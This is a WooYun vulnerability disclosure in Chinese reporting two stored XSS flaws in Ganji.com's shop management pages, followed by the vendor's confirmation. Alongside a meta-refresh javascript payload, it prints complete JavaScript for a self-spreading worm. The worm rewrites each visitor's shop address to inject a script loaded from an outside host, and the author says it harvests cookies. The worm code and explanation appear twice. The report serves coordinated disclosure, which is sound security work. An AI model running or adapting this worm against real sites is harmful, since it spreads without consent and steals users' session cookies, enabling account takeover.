漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-072627
漏洞标题:赶集网主站2个存储型XSS + 小蠕虫
相关厂商:赶集网
漏洞作者: 0x_Jin
提交时间:2014-08-16 13:50
修复时间:2014-09-30 13:52
公开时间:2014-09-30 13:52
漏洞类型:xss跨站脚本攻击
危害等级:高
自评Rank:15
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-08-16: 细节已通知厂商并且等待厂商处理中
2014-08-18: 厂商已经确认,细节仅向厂商公开
2014-08-28: 细节向核心白帽子及相关领域专家公开
2014-09-07: 细节向普通白帽子公开
2014-09-17: 细节向实习白帽子公开
2014-09-30: 细节向公众公开
简要描述:
58 百姓 这次就是赶集了~~~ 赶集网什么都有 果然 真有XSS!
详细说明:
漏洞存在于 店铺管理中心 > 服务店铺【长沙装修/装饰】房屋漏水专业维修 > 信息管理
在添加分店的地址那 未做任何过滤 可直接插入!
还有一处位于店铺描述做了过滤 但是不能跳出meta外
店铺描述的payload: 0,url=javascript:alert(/Jin/)" HTTP-EQUIV="refresh
地址:http://cs.ganji.com/fuwu_dian/1121114795x/
得用safari 打开才能弹。。
继续说上面那个店铺分店地址的存储型XSS
那个xss可以任何浏览器都执行XSS,而赶集网本身未做cookie做httponly的保护 所以。。你懂的!
另外也构造了个小蠕虫 只要你有店铺就会修改掉你的店铺地址为 xss代码
地址为:http://www.ganji.com/fuwu_dian/1113454444x/
csrf代码贴上:
function Connection(url,callback){
if (window.XMLHttpRequest){
var xmlhttp=new XMLHttpRequest();
}
else{
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState==4&&xmlhttp.status==200)
{
callback(xmlhttp.responseText);
}
}
xmlhttp.open("GET",url,true);
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlhttp.send();
}
function GetPostId(){
Connection("http://www.ganji.com/service_store/manage/post_pub.php?action=edit",function(yuanma){
var idzhengze = /post_id: \d{6}/;
var postid = String(idzhengze.exec(yuanma)).split(" ")[1];
var cityzhengze = /city_code":\d{4}/;
var citycode=String(cityzhengze.exec(yuanma)).split(":")[1];
var datazhengze = /sub_contact_data:\{"\d{4}/;
var dataid = String(datazhengze.exec(yuanma)).split("\"")[1];
if(dataid!="undefined"){
editxss(dataid,citycode,postid);
}
else{
editxss("x0",citycode,postid);
}
})
}
GetPostId();
function editxss(dataid,cityid,postid){
var xsscode = "<script src=//qqq.si/wQ0Xtm></script>";
var address="http://www.ganji.com/service_store/ajax/index.php?vaction=sub_contact&data%5B"+dataid+"%5D%5Baddress%5D="+encodeURI(xsscode)+"&data%5B"+dataid+"%5D%5Bdistrict_id%5D=1&data%5B"+dataid+"%5D%5Bstreet_id%5D=0&data%5B"+dataid+"%5D%5Bphone%5D=400-1111111&data%5B"+dataid+"%5D%5Bflag%5D=u&city="+cityid+"&post_id="+postid+" ";
Connection(address,function(){alert('ok')});
}
这段代码是我X入到JS的 只要访问了带有我js代码的页面就也会修改自己页面的店铺地址为xss代码一直这样传下去 并获得cookie
另外做了个演示视频:
http://xss1.com/ganji-xss.mp4
漏洞证明:
漏洞存在于 店铺管理中心 > 服务店铺【长沙装修/装饰】房屋漏水专业维修 > 信息管理
在添加分店的地址那 未做任何过滤 可直接插入!
还有一处位于店铺描述做了过滤 但是不能跳出meta外
店铺描述的payload: 0,url=javascript:alert(/Jin/)" HTTP-EQUIV="refresh
地址:http://cs.ganji.com/fuwu_dian/1121114795x/
得用safari 打开才能弹。。
继续说上面那个店铺分店地址的存储型XSS
那个xss可以任何浏览器都执行XSS,而赶集网本身未做cookie做httponly的保护 所以。。你懂的!
另外也构造了个小蠕虫 只要你有店铺就会修改掉你的店铺地址为 xss代码
地址为:http://www.ganji.com/fuwu_dian/1113454444x/
csrf代码贴上:
function Connection(url,callback){
if (window.XMLHttpRequest){
var xmlhttp=new XMLHttpRequest();
}
else{
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState==4&&xmlhttp.status==200)
{
callback(xmlhttp.responseText);
}
}
xmlhttp.open("GET",url,true);
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlhttp.send();
}
function GetPostId(){
Connection("http://www.ganji.com/service_store/manage/post_pub.php?action=edit",function(yuanma){
var idzhengze = /post_id: \d{6}/;
var postid = String(idzhengze.exec(yuanma)).split(" ")[1];
var cityzhengze = /city_code":\d{4}/;
var citycode=String(cityzhengze.exec(yuanma)).split(":")[1];
var datazhengze = /sub_contact_data:\{"\d{4}/;
var dataid = String(datazhengze.exec(yuanma)).split("\"")[1];
if(dataid!="undefined"){
editxss(dataid,citycode,postid);
}
else{
editxss("x0",citycode,postid);
}
})
}
GetPostId();
function editxss(dataid,cityid,postid){
var xsscode = "<script src=//qqq.si/wQ0Xtm></script>";
var address="http://www.ganji.com/service_store/ajax/index.php?vaction=sub_contact&data%5B"+dataid+"%5D%5Baddress%5D="+encodeURI(xsscode)+"&data%5B"+dataid+"%5D%5Bdistrict_id%5D=1&data%5B"+dataid+"%5D%5Bstreet_id%5D=0&data%5B"+dataid+"%5D%5Bphone%5D=400-1111111&data%5B"+dataid+"%5D%5Bflag%5D=u&city="+cityid+"&post_id="+postid+" ";
Connection(address,function(){alert('ok')});
}
这段代码是我X入到JS的 只要访问了带有我js代码的页面就也会修改自己页面的店铺地址为xss代码一直这样传下去 并获得cookie
另外做了个演示视频:
http://xss1.com/ganji-xss.mp4
修复方案:
万年不变的修复建议。。。。 其实我觉得更多的是 严谨。这次 58 百姓 赶集都出在不严谨这条路上!
版权声明:转载请注明来源 0x_Jin@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:12
确认时间:2014-08-18 09:37
厂商回复:
感谢白帽子。如果下次有乌云审核不通过的漏洞,欢迎直接提交给我们
'我爱乌云' == 'security at ganji. com'.replace('at','@').replace(/ /g,'')
最新状态:
暂无